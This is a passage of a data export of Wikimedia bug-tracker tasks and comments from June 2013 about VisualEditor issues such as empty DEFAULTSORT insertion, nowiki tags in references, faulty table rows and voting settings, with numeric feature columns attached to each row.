+Marking as WONTFIX.",,,1371527182,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gpu6rhupzadk44q3zvmd,task_subcomment,,True,c1,2,True,,,-2,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,0
+246937,Enable voting in VisualEditor product,"(In reply to comment #1)
+> Voting is not for tracking a bug, voting is to express that you'd like to
+> see a
+> bug fixed. The CC field is for tracking a bug.
+
+See some of the comments in bug 25321 and bug 28385...",,,1371525193,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-gpu6rhupzadk44q3zvmd,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1
+246934,Enable voting in VisualEditor product,"Voting is not for tracking a bug, voting is to express that you'd like to see a bug fixed. The CC field is for tracking a bug.
+
+
+It's correct that some products have it enabled, others have not.
+
+In general (not a topic for this bug report), if voting is NOT used as an input channel for planning by developers (and hence part of the process to define priorities), it should be disabled.
+I cannot make that decision for another team, hence CC'ing James.
+My personal preference currently is to completely disable voting for above reasons (not used by management as one input channel to set priorities).",,,1371524702,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gpu6rhupzadk44q3zvmd,task_subcomment,,True,c1,2,True,,,-2,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+51724,VisualEditor: Possible to insert empty DEFAULTSORT,"Go to <https://test.wikipedia.org/wiki/IPod?veaction=edit>.
+
+Click ""Page settings"", enter ""hello"" for the default sort key, click ""Apply changes"".
+
+Click ""Page settings"", clear the default sort key, click ""Apply changes"".
+
+Review your changes. VisualEditor wants to insert ""{{DEFAULTSORT:}}"" into the page. I don't think we want this behavior.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371514380,1371845516.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-fz5qvkff7hb32uaxnpl7,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+246755,VisualEditor: Possible to insert empty DEFAULTSORT,Merged and will be deployed very soon.,,,1371845552,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fz5qvkff7hb32uaxnpl7,task_subcomment,,True,c1,2,True,,,-2,,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+246747,VisualEditor: Possible to insert empty DEFAULTSORT,Related URL: https://gerrit.wikimedia.org/r/69850 (Gerrit Change Ie3caaf4811f87911444462f83d511c0cc46c0716),,,1371811734,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-fz5qvkff7hb32uaxnpl7,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+51714,Special:Contributions lists spurious AFT entries and takes 20 more seconds to load,"The URL was served for me in 22.766 s and contain spurious entries (without visualeditor tag) like
+    21:47, 17 June 2013 . . (0)‎ . . Feedback: Wikipedia:File Upload Wizard . . DenakiPanos70 (talk) 
+
+This practically equivalent search was served in 1.645 s: <https://en.wikipedia.org/w/index.php?limit=500&tagfilter=visualeditor&title=Special%3AContributions&contribs=newbie&target=&namespace=8&nsInvert=1&tagfilter=visualeditor&year=2013&month=-1>
+
+--------------------------
+**Version**: master
+**Severity**: major
+**URL**: https://en.wikipedia.org/w/index.php?limit=500&tagfilter=visualeditor&title=Special%3AContributions&contribs=newbie&target=&namespace=&tagfilter=visualeditor&year=2013&month=-1",Needs Triage,90.0,1371500220,1371566599.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-uubavjgv7r236ouenxi3,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1
+245922,Special:Contributions lists spurious AFT entries and takes 20 more seconds to load,Merged.,,,1371566599,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-uubavjgv7r236ouenxi3,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+245913,Special:Contributions lists spurious AFT entries and takes 20 more seconds to load,https://gerrit.wikimedia.org/r/#/c/69152/ & https://gerrit.wikimedia.org/r/#/c/69153/ should fix this.,,,1371549103,,PHID-USER-kms5nmb5gvqzcdep3cnl,False,,,PHID-TASK-uubavjgv7r236ouenxi3,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+51706,Can not create references on some pages,"**Author:** `rachelqa99`
+
+**Description:**
+On this page, we cannot create a reference:   https://www.mediawiki.org/wiki/User:Cmcmahon%28WMF%29/references_bug
+
+We can create a reference on this page: https://www.mediawiki.org/wiki/User:Rachel99/VisualEditor_Feature_Test_Charter/refs_demo
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1371490500,1371570816.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-c2pwlmpgr24oxvj7ruka,task_description,invalid,True,c1,2,False,False,True,-2,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+245466,Can not create references on some pages,"Chris, it's possible that we accidentally fixed the bug? We updated to master yesterday afternoon, though I don't think we were doing anything in this area.",,,1371572897,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c2pwlmpgr24oxvj7ruka,task_subcomment,,True,c1,2,True,,,-2,,0,1,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+245460,Can not create references on some pages,"This seems to have been an anomaly. A strange anomaly because Rachel and I both were unable to create a reference on this page.  Upon clicking ""Apply changes"" in the Reference UI, nothing at all appeared on the page. Now it does.",,,1371570816,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-c2pwlmpgr24oxvj7ruka,task_subcomment,,True,c1,2,False,,,-2,,1,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+245453,Can not create references on some pages,Maybe you want bug 45132.,,,1371524288,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-c2pwlmpgr24oxvj7ruka,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+245446,Can not create references on some pages,Works for me: https://www.mediawiki.org/w/index.php?title=User:Cmcmahon(WMF)/references_bug&diff=712793&oldid=712613 . Am I missing something?,,,1371524221,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-c2pwlmpgr24oxvj7ruka,task_subcomment,,True,c1,2,False,,,-2,,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0
+51701,Edit with VisualEditor duplicates content with subst'd version of the content,"A user reported this edit
+<https://pt.wikipedia.org/w/index.php?title=CMM_-_Canal_Meninos_e_Meninas&diff=36129698&oldid=36129686>, where he just meant to delete a sentence. However the content was duplicated and templates were substituted in this duplicated version.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371485940,1371515540.0,PHID-USER-vyidforzdhnrsoweujao,False,,False,PHID-TASK-amav3irppf34v275xo4q,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+245092,Edit with VisualEditor duplicates content with subst'd version of the content,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934032,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-amav3irppf34v275xo4q,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+245089,Edit with VisualEditor duplicates content with subst'd version of the content,"This is now fixed in production - really sorry about this bug. If it happens again, please re-open this.",,,1371515540,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-amav3irppf34v275xo4q,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+51691,"VisualEditor: Tables with a faulty <tr> at their end display it, confusing users","See https://en.wikipedia.org/wiki/Daryle_Singletary?veaction=edit - the first three (but strangely, not the last) discography tables.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371470220,1371496639.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-xbihpnurfxbt3vghqoxr,task_description,invalid,True,c1,2,False,False,True,-2,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+244543,"VisualEditor: Tables with a faulty <tr> at their end display it, confusing users","(In reply to comment #5)
+> (In reply to comment #4)
+> > This is a Parsoid bug. The PHP parser does not generate a <tr> for this
+> > wikitext, and Parsoid does.
+> 
+> Does the PHP parser create it but it then gets tidied away?
+That's possible, I haven't checked what happens when Tidy is disabled.",,,1371497885,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-xbihpnurfxbt3vghqoxr,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+244534,"VisualEditor: Tables with a faulty <tr> at their end display it, confusing users","(In reply to comment #4)
+> This is a Parsoid bug. The PHP parser does not generate a <tr> for this
+> wikitext, and Parsoid does.
+
+Does the PHP parser create it but it then gets tidied away?",,,1371497466,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xbihpnurfxbt3vghqoxr,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+244526,"VisualEditor: Tables with a faulty <tr> at their end display it, confusing users","This is a Parsoid bug. The PHP parser does not generate a <tr> for this wikitext, and Parsoid does.",,,1371497353,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-xbihpnurfxbt3vghqoxr,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1
+244519,"VisualEditor: Tables with a faulty <tr> at their end display it, confusing users","(In reply to comment #2)
+> Makes sense. Alternately would it be possible to add it in as a rule to
+> Parsoid's voodo wikimarkup-fixing stuff? If a |- is followed by nothing and
+> then a |}...
+
+But some gadgets might rely on that meaning something special for some users. Everything we change or ""fix"" potentially breaks things for some (other) users. :-(",,,1371497109,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xbihpnurfxbt3vghqoxr,task_subcomment,,True,c1,2,True,,,-2,,1,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1
+244513,"VisualEditor: Tables with a faulty <tr> at their end display it, confusing users",Makes sense. Alternately would it be possible to add it in as a rule to Parsoid's voodo wikimarkup-fixing stuff? If a |- is followed by nothing and then a |}...,,,1371497019,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-xbihpnurfxbt3vghqoxr,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+244508,"VisualEditor: Tables with a faulty <tr> at their end display it, confusing users","This is not a bug (well, it's not a bug with VE :-)) - the three ""broken"" tables all have 
+
+  |-
+  | <content>
+  |-
+  |}
+
+… at the end, which is not the case for the third ""working"" one. What you see is the result of broken wikitext.
+
+VE is good, but it can't be psychic about what you wanted to do with that that extra table row (maybe you wanted to expand the table and were half-way through?) so behaviour is ""as intended"". Marking as INVALID; in general broken wikitext like this can't be trivially fixed by a bot, due to wikitext's complexities, but it might be worth exploring.",,,1371496639,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xbihpnurfxbt3vghqoxr,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+51687,VisualEditor: Template displaying in the incorrect language,"See the bottom of https://en.wikipedia.org/wiki/Chad_Griffin for example - it also occurs at https://en.wikipedia.org/wiki/3rd_Brahmans and https://en.wikipedia.org/wiki/In_re_Estate_of_Gardiner (each time in a different language; Russian, Vietnamese and French respectively).
+
+I have no idea what's going on, but this seems pretty important to solve for.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371468780,1371510441.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-ss2itizzzz4vdy6z2bwv,task_description,resolved,True,c1,2,False,False,True,-2,,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+244274,VisualEditor: Template displaying in the incorrect language,"This is previously reported (and also they think fixed).
+
+*** This bug has been marked as a duplicate of bug 49411 ***",,,1371510441,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ss2itizzzz4vdy6z2bwv,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+51684,VisualEditor: nowiki tags added to references (and references split up (and content dropped)),"An example is https://en.wikipedia.org/w/index.php?title=Valotte&diff=559961373&oldid=559939306 - another is https://en.wikipedia.org/w/index.php?title=The_Day_the_World_Gets_%27Round&diff=559962523&oldid=559851975 where the VisualEditor seems to have taken it upon itself to drop content and convert templates into pure reference tags
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371466320,1371671665.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-k4uqhsrhnkkuz3d2z6l6,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0
+243906,VisualEditor: nowiki tags added to references (and references split up (and content dropped)),[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934078,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-k4uqhsrhnkkuz3d2z6l6,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+243902,VisualEditor: nowiki tags added to references (and references split up (and content dropped)),"The {{#tag:ref|…}} issues should now be fixed in production.
+
+The specific issues of adding <nowiki>s around wiki-able elements of tables is also, I believe, fixed in production.
+
+<nowiki>s around wikitext are, of course, intentional.",,,1371671665,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k4uqhsrhnkkuz3d2z6l6,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+243898,VisualEditor: nowiki tags added to references (and references split up (and content dropped)),Nowiki tags are also being entered around elements of tables - see https://en.wikipedia.org/w/index.php?title=Guy_McKenna&curid=1748898&diff=560026334&oldid=560026013,,,1371475258,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k4uqhsrhnkkuz3d2z6l6,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+51683,VisualEditor: Unexpected padding,"See the tabs on https://en.wikipedia.org/wiki/User:Panpog1 for example.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371466080,1372015377.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-jzepbqpzu7s7bfg4k2ua,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243852,VisualEditor: Unexpected padding,Fixed.,,,1372015377,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-jzepbqpzu7s7bfg4k2ua,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+51643,UniversalLanguageSelector Does not work with VisualEditor,"**Author:** `bellayet`
+
+**Description:**
+At bn Wikipedia ULS does not working with recently added VisualEditor beta.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371403200,1371409196.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6tdi4t2hiwd4kw4wdp3k,task_description,resolved,True,c1,2,False,False,True,-3,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+241617,UniversalLanguageSelector Does not work with VisualEditor,"True, thanks for reporting. Despite the mysterious bug summary, this is known as bug 49569 :) and is being actively worked on as GSoC project.
+
+*** This bug has been marked as a duplicate of bug 49569 ***",,,1371409196,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-6tdi4t2hiwd4kw4wdp3k,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+241610,UniversalLanguageSelector Does not work with VisualEditor,"**bellayet** wrote:
+
+ULS Input tool is not supporting VisualEditor.",,,1371405203,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6tdi4t2hiwd4kw4wdp3k,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+51637,VisualEditor bugzilla component should be under MediaWiki extensions,"I failed to find it under extensions where I was expecting it to be.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1371382800,1371416756.0,PHID-USER-732lqsmz4v6bss3kln2v,False,,False,PHID-TASK-5ezr4schgjcznl2chb3p,task_description,declined,True,c1,2,True,False,True,-3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+241253,VisualEditor bugzilla component should be under MediaWiki extensions,"(In reply to comment #6)
+> To be fair the bug summary is rather generic. It would make sense to have a
+> placeholder under ""MediaWiki extensions"", or maybe a mention of the product
+> somewhere.
+
+The plan is to split the codebase after the beta deployment in a few weeks' time into ""VisualEditor core"" and ""a MediaWiki plug-in that uses this foreign library called VisualEditor"".
+
+At that point, it might make sense to re-activate ""MediaWiki extensions > VisualEditor"", if only because that's where people might look for it; I'm happy to triage bugs in two places. In practice you'd likely have most bugs for MW-VE be dependent on VE-core bugs, but that's still manageable.
+
+@Andre, thoughts on this?",,,1371422998,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5ezr4schgjcznl2chb3p,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,0,0,1,1
